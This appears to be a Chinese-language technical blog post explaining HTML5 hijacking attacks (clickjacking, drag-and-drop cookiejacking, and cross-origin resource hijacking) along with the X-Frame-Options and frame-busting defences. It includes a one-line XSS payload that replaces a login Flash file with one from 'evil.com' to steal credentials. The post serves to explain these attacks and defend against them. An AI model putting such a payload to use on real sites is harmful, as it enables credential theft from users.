? ? ? 下面我們要講到一類的HTML5安全問題，也就是劫持的問題。 ? ? ??一、**ClickJacking-點擊劫持** ? ? ??這種攻擊方式正變得越來越普遍。被攻擊的頁面作為iframe，用Mask的方式設置為透明放在上層，惡意代碼偷偷地放在后面的頁面中，使得一個頁面看起來似乎是安全的，然后誘騙用戶點擊網頁上的內容，達到竊取用戶信息或者劫持用戶操作的目的。下圖中，欺詐的頁面放置在下層，被攻擊的銀行頁面作為透明的層放置在上層，用戶看到的是欺詐頁面上顯示的信息并進行輸入和點擊，但是真正的用戶行為是發生在銀行頁面上的。  ? ? ??想象一下，點擊劫持可以誘使你發布一條虛假微博、或者發送一封虛假郵件甚至盜取你的個人信息。例如下圖可以誘使我們發布一條虛假的Twitter消息。  ? ? ??這里有一個測試工具[clickjacktest](http://www.protecht.ca/clickjacktest)可以檢測你的頁面是否有點擊劫持的風險，你可以輸入一個網址并點擊Test，如果頁面可以正常顯示并加載，那么表示這個頁面存在被點擊劫持攻擊的風險，如果頁面顯示為一片空白，那么表示頁面比較安全。  ? ? ??二、**CookieJacking-Cookie劫持** ? ? ??ClickJacking只涉及點擊操作，但是HTML5的拖放API使得這種攻擊擴大到拖放操作。因為現在Web應用里，有大量需要用戶拖放完成的操作。在同源策略里，一個域的Cookie只能被本域所訪問，但是拖放操作是不受同源策略限制的，這樣利用拖放操作、XSS和其他技巧，可以構造跨域合法請求，劫持Cookie。  把Cookie從一個域拖拽到另外一個域里 ? ? ??實現原理其實和ClickJacking類似，只要欺騙用戶進行拖放行為，就可以把用戶某個域的信息發送到另外一個域里。這個其實很容易做到，之前有一個研究者就在Facebook上建立了一個應用，這個應用的功能是讓用戶把圖片上美女的衣服拖拽下來。我想可能大多數人都會去嘗試而且不會有警惕心理。  一個誘騙拖放的小游戲 ? ? ??我們應當如何防止ClickJacking、CookieJacking呢？ ? ? ??1、X-Frame-Options：所有的現代瀏覽器都支持X-Frame-Options HTTP頭，這個頭允許頁面被iframe使用時是否正常渲染。下圖中的頁面就是當X-Frame-Options生效時的效果。  ? ? ??2、Javascript方式 ? ? ??這種方式非常常見，具體代碼就是： ~~~ if (top !==window) top.location = window.location.href; ~~~ ? ? ??Facebook和Twitter都使用了這種方式，但是這種方式并不是完全奏效的，例如攻擊者可以使用204轉向或者禁用Javascript的方式來繞過（例如iframe沙箱）。 ? ? ??不過現在至少80%以上的網站都沒有注意到點擊劫持和cookie劫持的問題并加以保護。我這篇文章的主要目的就是提醒大家注意到這種隱蔽的攻擊方式并有針對性的進行防御。 ? ? ??三、**CORJacking-跨域資源劫持** ? ? ??CORJacking是指跨源資源劫持。HTML5應用有各種不同的資源，例如Flash文件，Silverligh，視頻，音頻等，這些資源可以通過DOM訪問和控制。如果頁面存在XSS漏洞，那么攻擊者可能通過跨域資源的劫持進行攻擊。例如下面的代碼載入了一個swf文件，作為用戶登錄框，這里面我們可以實現一些加密的邏輯。 ~~~ <object classid=“clsid:xxxxxxx-xxxx-xxxx-xxxxxx” id=“Login” width=“100%”height=“100%” codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab> <param name=“movie”value=“Login.swf” /> <param name=“quality”value=“high” /> <embed src=“Login.swf”quality=“high” width=“50%” height=“50%”> </object> ~~~ ? ? ??當頁面存在XSS漏洞時，攻擊者可以利用如下腳本把swf文件替換為欺詐的虛假資源。 ~~~ document.getElementByName(‘Login’).item(0).src=‘http://evil.com/login.swf’; ~~~ ? ? ??那么當用戶在這樣的登錄框里輸入自己的用戶名和密碼并登錄時，他的帳號就已經被盜取了。  ? ? ??這個問題在不同瀏覽器里面表現是不一致的，有興趣的朋友可以下去自行測試。 ? ? ??相關文章： ? ? ??《[關注HTML5安全風險](http://blog.csdn.net/hfahe/article/details/7960705)》 ? ? ??《[HTML5安全風險詳析之一：CORS攻擊](http://blog.csdn.net/hfahe/article/details/7961566)》 ? ? ??《[HTML5安全風險詳析之二：WebStorage攻擊](http://blog.csdn.net/hfahe/article/details/7961618)》 ? ? ??《[HTML5安全風險詳析之三：WebSQL攻擊](http://blog.csdn.net/hfahe/article/details/8049414)》 ? ? ??《[HTML5安全風險詳析之四：Web Worker攻擊](http://blog.csdn.net/hfahe/article/details/8104263)》 ? ? ??本文為原創文章，轉載請注明：來自[蔣宇捷的博客](http://blog.csdn.net/hfahe)：[http://blog.csdn.net/hfahe](http://blog.csdn.net/hfahe)